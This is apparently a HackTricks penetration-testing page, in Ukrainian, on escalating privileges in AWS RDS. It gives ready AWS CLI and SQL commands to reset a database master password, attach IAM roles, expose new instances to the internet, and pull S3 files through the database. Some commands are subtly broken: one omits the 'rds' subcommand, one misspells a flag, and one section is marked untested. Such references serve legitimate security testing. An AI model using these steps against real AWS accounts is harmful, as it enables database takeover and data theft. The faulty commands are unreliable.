AWS - RDS Privesc

Support HackTricks

RDS - Служба реляційних баз даних

Для отримання додаткової інформації про RDS перегляньте:

rds:ModifyDBInstance

З цією дозволом зловмисник може змінити пароль майстер-користувача та вхід до бази даних:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Вам потрібно буде зв'язатися з базою даних (зазвичай вони доступні лише з внутрішніх мереж).

Потенційний вплив: Знайти чутливу інформацію всередині баз даних.

rds-db:connect

Згідно з документацією, користувач з цим дозволом може підключитися до екземпляра БД.

Зловживання дозволами ролі RDS IAM

Postgresql (Aurora)

Якщо виконуючи SELECT datname FROM pg_database; ви знайдете базу даних під назвою rdsadmin, ви знаєте, що ви всередині AWS postgresql бази даних.

Спочатку ви можете перевірити, чи використовувалася ця база даних для доступу до будь-якої іншої служби AWS. Ви можете перевірити це, подивившись на встановлені розширення:

SELECT * FROM pg_extension;

Якщо ви знайдете щось на кшталт aws_s3, ви можете припустити, що ця база даних має якийсь доступ до S3 (є й інші розширення, такі як aws_ml та aws_lambda).

Також, якщо у вас є дозволи на виконання aws rds describe-db-clusters, ви можете побачити, чи кластер має будь-яку IAM роль, прикріплену в полі AssociatedRoles. Якщо так, ви можете припустити, що база даних була підготовлена для доступу до інших сервісів AWS. Виходячи з імені ролі (або якщо ви можете отримати дозволи ролі), ви могли б вгадати, який додатковий доступ має база даних.

Тепер, щоб прочитати файл всередині бакету, вам потрібно знати повний шлях. Ви можете прочитати його за допомогою:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Якщо у вас є сирі AWS облікові дані, ви також можете використовувати їх для доступу до даних S3 за допомогою:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql не потрібно змінювати жодну змінну групи параметрів, щоб мати доступ до S3.

Mysql (Aurora)

Всередині mysql, якщо ви виконаєте запит SELECT User, Host FROM mysql.user; і є користувач з ім'ям rdsadmin, ви можете припустити, що ви знаходитесь всередині AWS RDS mysql db.

Всередині mysql виконайте show variables; і якщо змінні, такі як aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role, мають значення, ви можете припустити, що база даних готова до доступу до даних S3.

Також, якщо у вас є дозволи на виконання aws rds describe-db-clusters, ви можете перевірити, чи має кластер будь-яку асоційовану роль, що зазвичай означає доступ до сервісів AWS).

Тепер, щоб прочитати файл всередині бакету, вам потрібно знати повний шлях. Ви можете прочитати його за допомогою:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Зловмисник з правами rds:AddRoleToDBCluster та iam:PassRole може додати вказану роль до існуючого екземпляра RDS. Це може дозволити зловмиснику отримати доступ до чутливих даних або змінити дані в межах екземпляра.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Потенційний вплив: Доступ до чутливих даних або несанкціоновані зміни даних у екземплярі RDS. Зверніть увагу, що деякі БД вимагають додаткових налаштувань, таких як Mysql, який потребує вказати роль ARN у групах параметрів.

rds:CreateDBInstance

Тільки з цим дозволом зловмисник може створити новий екземпляр всередині кластера, який вже існує і має прикріплену IAM роль. Він не зможе змінити пароль майстер-користувача, але може мати можливість виставити новий екземпляр бази даних в інтернет:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: Test

Зловмисник з правами rds:CreateDBInstance та iam:PassRole може створити новий екземпляр RDS з прикріпленою вказаною роллю. Зловмисник може потім потенційно отримати доступ до чутливих даних або змінити дані в екземплярі.

Деякі вимоги до ролі/профілю екземпляра для прикріплення (з тут):

  • Профіль повинен існувати у вашому обліковому записі.

  • Профіль повинен мати IAM роль, яку Amazon EC2 має право приймати.

  • Ім'я профілю екземпляра та пов'язане ім'я IAM ролі повинні починатися з префікса AWSRDSCustom.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Потенційний вплив: Доступ до чутливих даних або несанкціоновані зміни даних у RDS екземплярі.

rds:AddRoleToDBInstance, iam:PassRole

Зловмисник з дозволами rds:AddRoleToDBInstance та iam:PassRole може додати вказану роль до існуючого RDS екземпляра. Це може дозволити зловмиснику доступ до чутливих даних або змінити дані в межах екземпляра.

DB екземпляр повинен бути поза кластером для цього

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Potential Impact: Доступ до чутливих даних або несанкціоновані зміни даних у екземплярі RDS.

Support HackTricks

Last updated